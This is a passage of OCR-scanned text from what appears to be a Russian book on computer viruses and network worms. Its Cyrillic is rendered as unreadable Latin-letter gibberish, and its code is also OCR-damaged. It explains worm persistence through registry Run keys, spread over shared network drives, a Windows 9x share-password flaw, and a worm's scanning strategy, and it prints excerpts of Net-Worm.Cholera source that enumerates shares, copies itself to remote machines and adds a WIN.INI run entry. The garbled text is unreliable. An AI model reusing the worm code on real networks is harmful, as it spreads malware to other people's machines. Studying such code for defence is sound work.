Dc32 .e x e 1000 00 0 :00:05 1 728  KB
d n s .exe 1088 00 0 :00:00 3 732  KB
h e th fo .e x e 1160 00 0 :00:02 11 980  KB
exp lo re r.exe 1168 00 0 : X :14 2 632  KB
taskm gr.exe 1276 01 0 :00:03 2  128 KB

in tem at.exe 1432 00 0 :00:00 1 276  KB

gaeepujHTb npouecc ]

npoueccon : 30  3a rp y3Ka U fl:  100%  n m n T b : U 9584K / 471740K

Pmc. 6.5 ❖ flpouecc nepBfi Bozori b naMflTM KOMnbiOTepa

TaioKe onenb KpacHope4HBbi CTpoKH b KOH<J)nrypauHOHHbix 4>aiijiax 
hjih kjiiomh PeecTpa, o6ecneqnBaiomne a b t  o m a th h e c k h ii 3anycK HepBH 
nocjie nepe3arpy3KH KOMnbiOTepa (cm. pnc. 6 .6 ).

Is si P e ^ a K T o p  p e e c T p a

P e e c tp  [jpaBKa Bha M36pahHoe £ n p * K a  |

___| ReiabH ty

- j M
___1 RunOnce

___I RunOnceEx

♦  ___| S e t ip

_ J  SharedDLLs 

+ 1 Shell Extensions

—

Mms Tun 3H34eMMe

* ! ] ( n o  yno/M an no ) R£G_SZ (jHaseHM e He npwceoeHo)

*? ]A sh am poo  F ireW a l REG_SZ ‘ C :\Program Fles\Asham poc

S ] - n T C . . e . e  = = : - .s :  , e : e

<1  T 7 <1  1 H

MoMKOMnbHJTep\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windov«\CurrentVersion\Run

Pmc. 6 . 6  ❖ Ccbmica Ha cj)aPiji nepBfl Bozori b Peectpe

H th k . aoBOJibHO nacTO B iipycH bifi 4>aH.fi B itaeH  «neBoopy>KeHHbiM  r.na- 

30m ». IIo n p o& y eM  « y 6 H Tb» e ro  B p v 'u iy io . Koneuno, Windows ne n03B0- 

j i h t yzjaJiH Tb(JiaftjiBbinoJinaiom eH CH nporpaM M bi. Hob WindowsNTB0 3 - 

mohcho nepeiiMeHOBaHHe TaKoro cjjaibia, HanpHMep 113 «  VintBPX.EXE*
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b « V i n t B P X . E X _ » .  Taicace m ojkho, n o ;ib 3yflCb v th j ih t o h  R E G E D IT ,  y a a - 

jiHTb c o 3flaHHMH HepBeM KJiioH P eecT p a  « H K L M \ S o ft w a r e \ M ic r o s o f t \  

W in d o w s \ C u rre n tV e rs io n \ R u n \ w in tb p x .e x e  =  w in tb p x . e x e » .  3 aaHHT 

jih  3to ,  h to  nporpa.M Ma-qepBb o o e 3Bpe»ceHa h  n o c jie  n ep e 3a rp y 3KH He 

n o ;iyH H T  ynpaBJieH aa? «Y b m »  h « a x » .  j\ e n o  b  tom , h to  BH pyc b oah om  

H3 c b o h x  noTOKOB HenpepbiBHO CKaHHpyeT O KpyjKarom yio 0 6 cTaH 0BKy h, 

odHapyacHB, h to  n pon a jra  HyxcHbifi cj)aii;i h  ny»cnaH  3an n cb  b P e e c rp e , 

HCMe/jjieHHO BoccTaHaBJiHBaeT h x  Ha npeacH iix  M ecTax. JXjysi s t o t o  o h  h c- 

ri0 Jib3yeT  «cnpaBO'iHyK)» K on n io  c e 6a, H M eiom yio  KaKoe-HH6y/ib « c e p o e »  

hm h h  n o^oaceH H yio  b K aK oe-H ii6 yflb  «H e 3aM eTH oe» MecTO Ha jM CKe -  

HanpHMep, «C :\ P r o g r a m  F i l e s \ B O O T L O G .T X T » .  TaKHM 06 pa30M, Bee 

HauiH Tpy flb i n o H n y r  HacMapKy. B h b oh : npe>Kfle B cero  n eooxo flH M o  H a im i 

B iipycH biH  r ip on ecc  b naMHTH (e c j i i i ,  k oh ch h o , o h  He i ic n o jib 3yeT  r o o tk it -  

TexHOJiorHH) h  « 3acTpe.riHTb» h m ch h o  e ro .

TaKHM 0Dpa30M, THnHHHblH HepBb, HCCMOTpH Ha CBOIO BHeiUHroiO npH- 

MHTHBHOCTb, nopoft Cn0C06eH ynopno 6opOTbCH 3a >KH3Hb H MecTO HO/I 
coJiHueM. B n p iiH m m e, fl0CK0HajibH0 pa.36Hpa.HCb b noBa^Kax 3Toro xht- 
poro 3/icKTponnoro cymecTBa, mojkho y;{ajiirrb ero c sapaaceH H oii Maiim- 
Hbi ii «ro.>ibiMH pyi<aMH». Ho .nyMiue Bce-TaKH nopyHHTb s tv  pa6oTy aHTH- 
BH pycy. K 0T0pUH , KCT3TH, MOJKHO HanHCaTb CaMOCTOHTeJIbHO.

6.4. KaK B u p y c b i n n e p B n  

p a c n p o o p a H f iio T C F i
-  JIuuh o  a, -  cKasaji oh , -  Jwxamtj na ruiaeHU- 
xe he coeeniyK. To m  ecetda HecMemno necuawxx 

6jiox.

A. h B. CTpyranKHe.
«Bo3Bpameroie» OHoji/ieHb. X X II Beio)

CaM0riP0H3B0;ibH0, no mynbeMy bc;ichhk) h no CBoeMy xotchhio, bhPvc 

c MauiHHbi Ha MauiHHy no cera nepeMecTHTbca He mojkct. V3Jibi ceTH 
HOJiJKHbi 6 biTb npesBapHTeJibHO HacTpoeHbi Ha ooMeH aaiuibiMM n o  TOMy 
hjih hhomv npoTOKOJiy. Ha y 3jie-npiieMHHKe aojiifcen nocTOHHuo ayiaTb 

3anpocoB KaKOH-miuy/ib cepBep, a BHpyc, >KHBymHH Ha ysjic’-mctohhhkc, 
Ao.ijkch 3aMacKHpoBaTbca noa 3aKOHonoc.nyuiHbiH kjihcht. acaxaymHii 
OOMeilHTbCH c CepBepOM KaKHMH-HHOyZlb 'lerajIbHMMH aailHblMH. JIh6o 
n a o 6 opoT , BHpyc AOJiJKen iipnK iinyTbC j.1 cepBepoM  ii  nocjiyuiHO Bbino;i- 

HHTb Bee 3anpocw flOBepHHBoro KJiHeiiTa, iiocbuiaH eMy, oflnaKo, bmccto
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3anpomeHHbix jierajibHbix aaiiHbix -  ce6a, Jiro6nMoro. PaccMOTpHM Han- 
6ojiee nacTO npnMeHaeMwe BHpycaMH cnoco6bi.

6.4.1. HepBM b  sioica/ibHbix cerox
CoBpeMeHHbie jioK ajibH bie c e ra  He o6a3aTejibHo cBH3HBaioT 6jih3ko pac- 
nojioaceHHwe KOMnbroTepbi. M  He ooaaaTejibHo ; jth x  KOMnbioTepoB Ma.no. 
HepeiiKO b JiOKaJibHyro ceTb opraHH 3auHH 0Ka3biBai0Tca BKJUonenbi He 

T p H -n a T b , a HecKOJibKO coTeH y3JioB, pa36pocaHHbix n o  pa3HMM sTaacaM 

HecKOJibKHX 3flaHHH. M Ha HHX HHOITia o6HTaK)T ^CCTCBbie 4epBH».
CpeflOH ofiHTaniia TaKHx nepBen hbjihiotcji oTKpbiTbie ajih o6mero 

n0Jib30BaHHH (KaK roBopaT, «pacm apeHHbie») pecypcbi JioKajibHort ce
TH -  zihckh h  KaTajiorn. C j iy * 6bi /iocTyna k ceTeBbiM pecypcaM Bbinoji- 
hhkit 0flH0BpeMeHH0  h  KJiHeHTCKyK), h cepBepHyio pojiH, TaK hto Jiio6aa 

MauiHHa c T3KHMH cjiyac6 aMii Moacer cjiyacHTb h ne.'ibfo BiipycHOH 

aTaKH, ii hctohhhkom  pacnpocTpaHeHiia « 3apa3M » no cera.
IXjix npHKJiaaHoii nporpaM M bi -sceTeBoi! /ihc:k> h jih  ^cereBOH KaTa- 

Jior», pacno.'ioaceHHbiH Ha nyacoM K0Mnbi0Tepe, /jocTyneH TaK ace, KaK h 

co6cTBeHHbie pecypcbi. y^HCKy h jih  K ara jiory  mohcho HasHa’iHTb H O B yro  

«6 v k b v »  (HanpHMep, «J :»). M3 icaTajiora b  KaTajior MoacHo nepexo^HTb  

npn iiom oihh cHCTeMHOH 4>yHKHHH «SetC urren tD irectory», OTKpbiBaTb 
cfjafljibi n p n  noM om n  «C rea teF ile », HHTaTb h m icaTb b h h x  npn noM om n  

«  Read F ile *  h  «W r ite F ile » ,  yaaJiaTb, KonnpoBaTb hx h  t. n. Bojiee toto , 

Bee 3to  MorjT /jeJiaTb aaace MS-DOS-nporpaMMbi nepe3 « IN T  21h».

OrpaHineHHa, kohchho, HMeioTca: aocTyriHbi TOJibKO aBHo «pacuia- 
peHHbie» pecypcu. HanpiiMep, ecjin OTKpbrr Ha aocTyn shck «D > ,  to  

aHCK « C >  ocTaerca HeBiiaHMbiM. Ecjih ace oncpbrr KaTajior «C :\Program  
Files*-, t o  flocTynHbi Bee (Jjaftjibi bo Bcex ero noaKaTajiorax (HanpHMep, b 
«  C:\Program  Files\Accessories»), a 4>aHJihi b apyn ix  KaTajiorax -  hbt. 
BnponeM, b W indow s MJiafluiHx BepcHH npHcyTCTBOBajia oiun6Ka, n03B0- 

JiHBiuaa o6pamaTLCH k Hepa3peuieHHbiM pecypcaM nocpeacTBOM chmbo- 
jmnecKoro o6o3HaneiiHa « . . »  (BbiuieJieacaiuHif KaTajior), HanpHMep TaK: 
«d e l C :\Program  F iles\ ..\W indow s\W IN .C O M ». H o 3Ta oniH6Ka aaB- 

HbiM-aaBHO HcnpaBJieHa.
/ Ip y ro e  BaacHoe o rp aH iw eH H e  -  BJia/ieJieu «p a cm a p eH H o ro »  p ecyp ca  

HMeeT B03M0>KH0CTb ycTanoB H Tb f l j ia  bhciiihhx «n o c e T H T e jie H » ypoBeH b 

ZtocTvna k HeMy:
O  TOJIbKO MTCHHC;
O  o n p e a e jia e T c a  n apo jieM ;

O  nojiHbiH.
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IIoaflepacHBaioTCH asa peaciiMa nepeaaHH napojw: 1) b BHae ctpokh 
TeKCTa; 2) b 3amn<f)p0BaHH0M Biiae. Bo Bcex pa3HOBHanocTHX Windows 
9X HMeJiacb BonmomaH oura6Ka (onncaHHaa b 6rojuieTeHe Microsoft 
c HHaeKCOM MS00-072), cBH3aHHaa c npoBepKon npaBHJibnocTH He3a- 
uiH^poBaHHoro napojm. 7Ie.no b tom, hto npHCJiaHHMH napo/ib cpaBHH- 
BaJICH C 3Ta/I0HHbIM npHMepHO B TaKOM CTHJie:

in t  checkpass( char *pass, char *e ta !on ) { 
fo r  ( i n t  i= 0 ;i< s tr le n (p a s s ) ; i++) i f  (p a s s [ i ] != e ta lo n [ i ] )  re tu rn  BAQ_PASS; 
re tu rn  PASS_0K;

}

Ko^nnecTBO cpaBHHBaeMbix chmbojiob onpeaejrajiocb He /urnnoil 3Ta- 
jiona. a o thhoh  npo6Horo napojw. TaKHM 06pa30M, 3/ioymbun;iehhhkv 
3Ji5i aocxyna k ceTeBOMy ancKy aocraTOHHO ow jio npaBHJibHO noao6paTb 
Bcero jiHiub nepByro 6yKBy!

Ouiii6Ka 6biJia HcnpaBJieHa iiarMaMH ot Microsoft, KOTOpbie, KaK bo- 
Ahtch, Bbnn;iH c onoaaaHHeM, cymecTBOBaJin He fljia Bcex chctcm h no 
yMO.THaHHIO B /UlCTpH6vTHB Windows He 6bIJIM BKJHOHeHbl, TaK HTO HX 
npHXoaH^ocb rae-To HCKaTb h OTKy/ia-TO cKaHHBaTb. Kopone roBopa, 
napojibHaa 3amHTa ceTeBbix ancKOB b Windows 9X hh o t koto h hh ot 
Hero Ha caMOM ae.ne He 3ainmnaJia. MHoe aejio -  Windows NT. B sthx 
CHCTeMax H CpaBHeHHe CTpOK pea.7IH30BaH0 KOppeKTHO, h uiH^poBaHne 
nepeaaBaeMbix napojieft ao6aBJieno. ToHHee, sto He cobccm «iHH(jjpoBa- 
Hiie». nojivhhb 3anpoc Ha aocryn, cepBep c «pacmapeHHbiM» pecypco.M 
reHepHpyeT cjiynaiiHoe hhcjio h oTCbuiaeT ero K/uieHTy. Kjihcht uiHcjjpyeT 
hhcjio c napoJieM b KanecTBe Kjnona h B03BpamaeT Ha3aa- CepBep nbrra- 
eTCH pacuiH(J)poBaTb nocbiJiKy 3Ta.JioHHbiM napojieM, h ecjin pesyjibrax 
3T0H onepaijHH coBnaaaer c nepBOHanajibHO creHepHpoBaHHbiM hhcjiom, 
cHHTaeT, hto napoJiH coBna/in. TaiaiM 06pa30M, o t MauiHHbi k MauiHHe 
caM napojib npocTo He nepeaaeTca, h nepexBaTHTb ero He noJiyHHTca. Ho 
ec.nn b .fioKa.xbHofl ceTH npncyTCTByioT h Windows 9X, h Windows NT, 
to  napoab b iiejiax cobmccthmocth Bee paBHO oyaeT nepeaaBaTbcn b BHae 
He3aiUH(|)pOBaHHOH CTpOKH.

YaoocTBo pa6on>i c ceTCBbi.viH aHCKaMH B coBpeMeHHbix B e p c ra x  W in
dow's 6a3HpyeTCH Ha TpaHcnopTe TCP/IP h o6ecneHHBaeTcn ciiyjKooft 
CIFS, HHKancy.iHpyiomeH pa6oTy HecKOJibKiix ceTeBbix ripoTOKO.noB: 
NetBIOS/NetBEUI h SMB. KpoMe Toro, b Bepcrax W indows, Bbi- 
nymeHHbix ao 2000  r., b pa6oTe cjrywobi ceTeBbix /ihckoh ynacTBOBaji 
iif'ioMOKyTO'iubiH npoTOKo.x NBT, aocTynnbiH nepe3 nopTbi 1 3 7 -1 3 9  h 
OTBeHaBumii npe>Kae Bcero aa npeofipasoBamie 3 2 -6 n xo B o ro  IP-aapeca 
b Not BIOS hmh. saaaiiHoe b BHae ctpokh a-’iHHoii He oo-xee 15 chmbo-
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jiob1. B 6 ojiee n o 3aHHX B ep cn a x  Windows nporpaMMHCTbi Microsoft 
o6 omjincb 6 e3  NBT, peajnraoBaB « n p a M o n »  a o c x y r i k  CIFS -  nepe3 n opT  

445. CoBpeMeHHbie B ep cn n  Windows H crio jib 3y io x  0 6 a M ero a a  n nycKaK )T  

k  ceTeB U M  an cK aM  n  KaTaJiora.M KaK nepe3 n o p T  445, TaK n  nepe3 137-139 
(cm. p n c . 6.7).

IIpoTOKOJi SM B HenocpeacTBeHHO B3aiiMoaencTByeT c  ({)aHJi0B0H c n -  

cTeM O H. 3a npoBepKy naponefi, n p o c M O T p  ceTeBbix KaxaJioroB, n e p e a a n y  

(JjannoB n x . n .  oxBenaex hmchho oh. H o aoBOJibHO nacxo SM B H e npoBe- 
p a e x  H H K aK H X  napojien, xaK KaK cexeBbie ahckh caMHMH nojib30BaxejiaMH 
o x K p u x u  Ha nojiHuii aocxyn.

3xo 0 6cx0HTeJibcxB0 oneHb yao6no He xo.xbKO ni\n n0Jib30Baxe.xeii, ho 
h hjih ceTeBbix nepBen. H x pa6oxa 6a3Hpyexca Ha xpex BbicoKoypoBHeisbix 
APFcfiyHKunax H3 6n6anoxeKH MPR.DLL:

O  «WNetOpenEnum» -  oxKpbiTb ceaHc nepenHcaeHna;
O  «WNetEnumResource» -  nepenncJinxb a o c x y n H b ie  ce xe B b ie  pe- 

c y p c b i  (cepBepbi, a n c K H , 4 > a fta b i n  x. n.);
O  «WNetTCloseEnum» -  3aBepmnxb ceaHc nepenncaeHna.
3xh  (JjyHKniin c ycnexoM Hcnoab3yioT a HeKOTOpbie Windows-Bnpycbi, 

Koxopbix Mbi He oxhochm k MHcay «hcthhhmx» MepBeH, HanpiiMep Win32. 
Kriz.4029, Win32.Funlove.4070 h npoMHe. Ohh CKamipyiox b aoKaab- 
hoh cexn oxKpuTbie ceTeBbie ancKn h 3apaacaiox Bee, hto nonaaexca noa 
pyKy. «McxnHHbie» ace nepBH npocxo Komipyiox ce6a Ha cexeBbie ancKH, 
He 3apaacaa HHicaKiix nporpaMM. KaK npaBHao, ohh nponncbiBaiox ce6a 
b KOHcfjiirypanHOHHbie 4>aiuibi Windows (HanpHMep, b Peecxp), nxoobi 
noc.xe nepe3arpy3KH 3anycxnxbca n npoaoaaaixb pacriojisauHe no cexH.

P a 6 o T y  x n m iM H o ro  cexeBoro nepBa H 3 yn H M  H a  n p n M e p e  Net-Worm. 
Cholera, h c x o /h im h  xckcx Koxoporo 6 b u i pa3MemeH b aaeKxpoHHOM a cyp - 

H aae «29A» n  K oxop b ift n o c j iy a c n j i  06p a 3U0M a a a  MHoro'iHcaeHiibix n o 3 a -  

H e i i in n x  B i ip y c H b ix  p a 3 p a 6 o x o K .

CIFS

NetBEUI
I NetBIOS SMB

Pmc. 6 . 7  ❖  rip0T0K0nbi, 
peajiM3yK>mne «paciuapnBaHne» pecypcoB

1 Townee, hm h ys.na no npaBH.xaM NetBIOS c o c x o h x  H3 15 xeKCTOBbix chm - 

b o jio b  i i  1 6 -ro  oan xa , c oa ep acam ero  x h ii p ecyp ca .
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3a CKaHHpoBamie JioKaJibHoft cera b stom nepBe OTBenaeT oHeiib npoc- 
ra a  peKypciiBHaa c^ymcuHH (ee TeKCT ju ia  0 ny6 jiHK0 BamiH b KHHre cjierKa 
BHflOH3MeHeH):

void NetWOrnting( LPNETRESOURCE lp n r ) {
LPNETRESOURCE LpnrLocal; HANDLE hEnum; in t  count;
in t  cE n trie s  = OxFFFFFFFF; DWORD dwResult ; DWORD cDBuffer = 32768 ;

i f  ( WNetOpenEnum ( RESOURCE„CONNECTEQ,
RESOURCETYPE_ANY, 0, Lpnr, fchEnra) I = N0_ERR0R) re tu rn  ;

do !
lpnrLoca l = ( LPNETRESOURCE) Globa1A11oc( GPTR, cSBuffer) ; 
dwResult = WNetEnumResource( hEnum, JcE n tn es , lp n rL o c a l,Ic b B u ffe r) ;
i f  ( dwResult == N0.ERR0R) { 

fo r  ( count = 1 ; count < cE n trie s  ; count++ ) ( 
i f  ( lpn rL o ca l[ count].dwUsage & RESOURGEUSAGE_CONTAINER) {

NetW0rming( SLpnrLocal[ co u n t]);
}
e lse  i f  ( lp n rLoca l[ count].dw iype = RESOURCETYPE_DISK) {

R en0 teIn fecti0n { lp n rLoca l[ count],IpRemoteName) ;
;

}
}
else i f  (dwResult != ERR0R_N0_M0RE_ITEMS) break ;

} w h ile  ( dwResult != ERR0R_N0_M0RE_ITEMS) ;
GlobalFree ( ( HGLOBAL) lp n rLoca l) ;
WNetCloseEnuaK hEnum) ; 
re tu rn  ; 
f

3Ta (JsyHKHHH npn noMoiuti CHCTeMHoro BH30Ba «WNetEnumRe- 
source*- nepenncjifleT Bee aocTviiHbie ceTeBbie pecypchi h nojiy^aeT b nojie 
«dwUsage» npH3HaK Tuna pecypca. /J.jw pecypcoB Tuna «KOHTeHHep» 
(to  ecTb a,Jia pa6oHHx rpynn, flOMeHOB h 0T/ieiibHbix MauiHH) (Jjvhkiihh 
BHOBb peKypcHBHO BbrauBaeT caMy ce6a, htoom nponHKnyTb eme ray6ace 
b JiormecKyro Hepapxnio H aoopaTbCfl flo ahckob h KaTa;ioroB. CeTeBbie 
HMeHa b (JjopMaTe NetB IOS HaHHHaioTca c /ibvx o6 paTHbix cjisiueft «\ V - 
IIpocKaHnpoBaB aepeBO ceTeBbix pecypcoB, nepBb MoaceT vBitzieTb ripH- 
MepHO c.'ieAyromee (cm. piic. 6 .8 ).

________________ (NULL)_______________

(WORKGROUP) (BUHGAIT)
» 1 1 """"»

(VBOSS) (VADMIN) (WCEKPETAP6) (WGIAVBUX) (UEKONOMIST)

I \\BOSS\D L V.CEKPETAP6VTEXT L WEKONOMISTvG
L \\CEKPETAP6\TETRIS

P m c . 6 .8  ❖  flpnMep flepeBa «pacLiiapeHHbix» pecypcoB
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Co6ctbchho roBopa, nepBio N e t-W o rm .C h o le ra  BnojiHe fl0CTaT0HH0 
3HaHHa ceTeBWX HMeH «paciuapeHHMX» ahckob h KaTaJioroB. Oh, He oco- 
6eHHO «3aMopaHHBaacb», CHHTaeT Bee nojiyneHHbie o6’beKTU KopHeBWMH 

KaTa.xoraMH flHCKa, Ha kotopom npoHHCTa/umpoBaHa onepannoHHan ch- 
cTeMa Windows. M flencTBya 4>aKTHHeciai BCJienyro, nbiTaeTCH o6paTiiTb- 
ch k y^a^eHHOMy ko h (Jwryp anh ohh owy cJiaHJiy «W IN.INI» n BnHcaTb 

b Hero CTpoKy «run=RPCSRV.EXE».
C h a r  szW indirOO[]-{’WINDOWS" } ;  

enar szW indir01[]={ WIN95'); 
c h a r  szW indir02[l={'W IN98');

C h a r  s z W IN IN If] = { 'W IN .IN I' ) ;

C h a r  szSYSTEM_EXE[]-{' RPCSRV.EXE') ;

vo id  Reirr0teIn fecti0n( char .szPath) { 
char *dir_na!ne[S]= { szWindirOO, szW indirOI, szWindir02, szWindir03, szWindir04 } ; 
WIN32_FIND_0ATAA FindData ; HANDLE hFind ; char szLookUp[ MAX_PATH] ; 
char wCrmOrgf MAX_PATH] ; char w0rmD3st[ MAX.PATH] ; in t  aux ;

fo r  ( aux = 0 ; aux < 5 ; aux++ ) {
s p r in t f  ( szLookUp, "%s\\%s%s", szPath, dir_nam e[aux], szWIN_INI) ; 
i f  ( ( hFind *  F in d F irs tF ile A ( szlooKUp,

( LPWIN32„FIN0_DATAA) &FmdData)) != INVALIQ_HANC’LE_VALUE) !
s p r in t f (  w0rmD3st, " * s \ \ * s \ \ * s " ,  szPath, dir_na®e[aux], szSYSTEM_EXE) ; 

i f  ( GetModuleFileNaneA( NULL, wOrmOrg, MAX_PATH) ( = 0 )  {
i f  ( CopyFileA( wOrmOrg, wOrnDSst, TRUE) != 0) {

W riteP riva teP ro fileS tringA ( szWindirOO, "run", szSYSTEMJEXE, szLookUp); 
FindClose (h F ind ); break ;
}

}
FindClose (hF ind) ;

I Io t o m ,  /leHCTByn anaJiorHHHbiM »ce  06pa30M . HepBb nepeTacKHBa- 

eT ceoH  b (Jjaiiji «RPCSRV.EXE» Ha yaaJieH H oft MauiHHe. P a 3yM eeT - 

ca, o rp oM H o e  m hcjio  6 e 3ycn eu iH b ix  nonbiTOK 6 y a e T  3aTpa>ieHO MepBeM 

Ha f lo c r y n  k  3aBefl0M 0 H ecym ecTB yiom H M  KaTa.noraM h  c^aiiJiaM r a n a  

«...TETRIS\WINDOWS\WIN.INI». Ho H eo o jib iim e  rnaHCbi x o th  6 bi 

oflHa>Kflbi y ro flH T b  b pea jibH b in  K aT a jio r «C:\WINDOWS» h  BnncaTbcn 

b  pea jib iib iH  4>aftji « W IN.INI» y  H ero  h m c io tc ji,  He TaK jih ?

M Horae 6 ojiee npoflBHHVTwe ceTeBbie McpBH na\rr aajibiue: ho;ivhhb 
ceTeBbie iivieHa aiickob h Kara/ioroE , noflKjiiOMaioTai k hhm n p n  n0 M0 - 
iuh (JjyHKmiH « W N et.Ad d C o nncction»  n «WNetAddC,onnection2». 3 to
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n03B0JiaeT hm Ha3HamiTb pecypcy 6yKBy rana «J>, Hcri0Jib30BaTb (h jih  
nozio6paTb) jio itih  u  napojib jxjisi /locTyna h t. n. TaK nocTynaeT, HanpH
Mep, HepBb N et-W orm .L io ten  (oh  ace IraqW orm ). EcTb nepBii, KOTopbie, 
noceTHB MauiHHy, npn noMomn cncTeMHOH cjjyHKiiHH «N etShareA dd » 
oncpbiBaroT Bee HMeiomiieca ahckii Ha nojiHbifi flocryn, aejiaa ee coBep- 
uieHHO 6e33amHTHOH nepeji HamecxBHeM KaK 3Toro, TaK h jikdomx ^pyrux 
ceTeBbix HepBeii.

Han6ojiee coBepmeHHyto TexHHKy cKaHHpoBaHHa h 3apaaceHHa ceTe

Bbix pecypcoB zieMOHCTpHpyioT qepBH ceMeiicTBa W orm .O pasoft (h jih  
Opaserv). Ohh He Hcnojib3yioT BbicoKoypoBHeBux 4>yHKijHH rana «  W N et- 
OpenEnum» hjih «W N etAddC onnection », a bm ccto s to to  co3aaioT co- 
Ken>i, caMOCTOHTejibHO (JwpMHpyioT NETBIOS-naKeTM h o6MeHHBaioTca 
hmh c 3apa»caeM0H MamnHOH. B/tc)6aB0K nepBH nepe6npaioT BceB03M0ac- 
Hwe onHooyKBeHHbie napo.m ceTeBbix pecypcoB h, TaKHM 06pa30M, npoHH- 
Kaior Ha K0Mnbi0Tepbi, pa6oTaiomHe no# ynpaBJieHHeM W indows 9X.

HeMHHyeMo .aojiaceH B03HHKHyTb Bonpoc: a He MoaceT jih nepBb rio/i- 
KJiioHHTbCH k «pacmapeHH0My» ceTeBOMy pecypcy MauiHHbi, He 3Haa 
ee NETBIOS-MMenH. a TOJibKO IP-aapec? K coacaJieHHio, Ha Hero CJie- 
ZiyeT OTBeTHTb nojioacHTejibHO. 0Ka3biBaeTca, c^ynKuna «W N e tA d d - 
Connection2» ii03B0jmeT Hcn0Jib30BaTb b KanecTBe hmchh iiozikjiio- 
naeMoro pecypca CTpoKy BHfla «\\<IP-aapec>\</],HCK>», HanpHMep 
•«\\111.111.111.111\C». M 3To 03HanaeT, hto nepBH, ncriojib3yioiHHe 
aaHHyio oco6eHHocTb (HanpHMep, W orm .Bym er, W orm .O pasoft, N e t-  
W orm .Randon  h nponne), He orpamweHbi b cbocm pacnpocTpaHefiHH 
TOJibKO .noKa.ubHOH ceTbio. Ohh BnojiHe Moiyx nepenojoaTb H3 ceTH b 
ceTb, nyTeiuecTBya no BceMy MHpy. Bot, HanpHMep, onucamie crpaTeniH 
pacnpocTpaHeHHa nepBa W orm .O pasoft.a , B3aToe H3 oHJiaiiH-sHijHKJio- 
ne^HH aHTHBHpyca KacnepcKoro:

Ann roro mo6bt Haftm KOMnbiOTepbi-xepTBbi, nepsb CKannpyer 
noMceru no nopry 137 (NETBIOS Name Service). CKaHupyiorca IP- 
aflpeca cne/jyioiMMX cereft: 
-  n o flce rb  reKym ero (3apaxeH H oro) KOMnbiOTepa ( aa .bb .cc. ??);
-  ABe 6 m x a tiu ju e  n o jjc e m  reKymero KOMnbiOTepa (a a .b b .c c + 1 .? ? , 

a a .b b .c c -1.??);
-  cny-ia fiH o  Bbi6paHHaa nonceTb (3 a  uc io iioueH ueM  HeKoropbix «3a- 

npemeHHbix» k cKaHupoBaHuiio c e re u ).
Ecm n pu  CKaHupoBaHiiu cjiynaiiHOM no/ jcem  KaKOM-fiu6o lP-ap,pec 
« o T3biBaerca» ( to  ecTb raKoPi a n p ec  coorBercTByeT pea/ibHOMy 
KOMnbiorepy), ro  nepBb raiOKe cKanupyer m e  6/iMxatiiiiMe n o a c e m  
AaHHoro IP -a flpeca .
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Kaiaie KOMnbiGTepw CTaHyT acepTBaMH noao6HMX HepBen? Ilpeayie 
Bcero Te, K0T0pue HMeiox aocryn oaHOBpeMeHHO h k MuTepHeTy, h k jio- 
KanbHOH cera. TaKHe MauiHHbi Macro BCTpenaioTCH b He6 ojibiirnx opra- 
HH3aUHflX, Bee COTpyaHHKH KOTOPOH BWXOaflT B MHTepHeT Hepe3 eflHH- 
CTBeHHbiH lP-aapec, npHCBoeHHbiii y3Jiy cera c ycTaHOBJieHHMM Ha HeM 
npoKCH-cepBepoM. OcooeHHo onacHo, ecjrn 3tot eaHHCTBeHHbiii «neHT- 
pa.!ibHbiH» yseji Pa6 oTaeT noa ynpaBJiemieM Windows 9X hjih 3aiunmen 
npHMHraBHMM riapojieM. Haii6 oJiee npocraM peiueHHeM npo6 jieMbi mo- 
>KeT cjiy^KtiTb (J>aHpBOJiJi (6panaMay3p), ycTaHOBJieHHbm Ha «iieHTpa.ib- 
hom» y3Jie h HacTpoeHHbift TaK, h to6 l j  nponycKaTb NetBIOS-3anpocbi 
no nopTaM 137-139 h 445 H3 CBoeii cera (HanpHMep, c IP-aapecoB 
192.168.0.* hjih 169.254.*.*) h 6 jioKHpoBaTb Bee ocrajibHbie.

6 .4 .2 . riOHTOBbie Bupycw
IIocuJiKa h  npneM 3Jieicrp0HH0H noMTbi 6 h jih  ochobhhm h 3aaa>iaM H, nflsi 

peu iem ia  K oropbix  nepBOHanajibHo npeaHa3Ha'{ajnicb KOMnbioTepHue 

cera. CxeMbi pemeuHH arax aaaaM b ochobhom  caoaauiHCb b  1 97 0 -x  ro -  
aax: pa3pa6 oTaHbi n p 0 T0 K0 Jiu ceMeftcTB P O P  h  SMTP, MeToabi Koanpo- 
BaHHH nepeflaBaeMbix aamibix, cnoco6 bi hx nepeaa™ h  xpanenHa h  t. n. 
B HacTOHmee BpeMH CHCTeMa ajieicrpoHHOH nonra ycTpoeHa cjieayiomHM 
0 6 p a 3 0 M .

IlHCbMa (jjopMHpjTOTca, oTCMJiaroTca nojiyHaTeaio, a TaKxce npHHH- 
MaioTCH ii 0To6pa>KaiOTC>i npH iiom oihh cneiyiajibHbix nporpaMM -  noM- 
t o b h x  KJineHTOB, TaKiix KaK MS Outlook h jih  The Bat. OopMaT s jick t-  

poHHoro nncbMa CTanaapTH30BaH b  RFC-822. IlHCbMO c o c to h t  H3 aByx
TCKCTOBblX MaCTefi:

O  3arojioBKa;
O  TeKCTa nncbMa.
3ar0Ji0BKH imceM motvt coaepacaTb mhokcctbo cnpaBOHHbix nojieii 

(«Rep ly-To>, «Comrnent:», «X-Special-action:», «X-M ailer:» h npoHHe),
HO MHHHMajIbHO HCOOXO/THMblMH HBJIHIOTCH CJje/tVfOIUHe:

O  «D ate:» -  aaTa nocbuiKH coo6 meHHH;
O  «From > -  aneKTpoHHbift aapec orapaBHTejiH;
O  «To :» -  aaeKTpoHHMH aapec noJiynaTejia;
O  «Subject> -  TeMa nncbMa1.
OopMaT aapeca ornpaBHTeaa H noaynaTejia 0 CH0 BaH Ha pacc.MOTpeH- 

hoh Bbime aoMenHoii cucTeMe: caMbiii npaBbin aaeMenT xapaKTepH3yeT 
reorpaff)H<iecKyio 3ohv nan na3Ha*ieHHe opramoanHH, npeanocjieamiii -

1 Ha caMOM aejie ato no.ie MO*eT oTcyrcTBOBaTh.
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ZioMeiiHoe hmh npoBanaepa h t. a. Ho, b OTJiHHue o t CHMBOJibHHX hh- 
TepHeT-aflpecoB, b oottobom a/ipece npncyTCTByeT eme hmh no.nyiaTejifl, 
0T/iejieHH0e o t  ocTaJibHbix nojiefi chmbojiom «<§>*•, HanpHMep <<kostya® 
asni.volgacom.samaia.su*.

3a nepecbijiKy nnceM no MHpy OTBe^aioT K0 Mnbi0 Tepbi ( «n 0HT0 Bhie 
cepBepbi>>), Ha KOTOpbix 3anymeHbi nponeccbi flByx thhob:

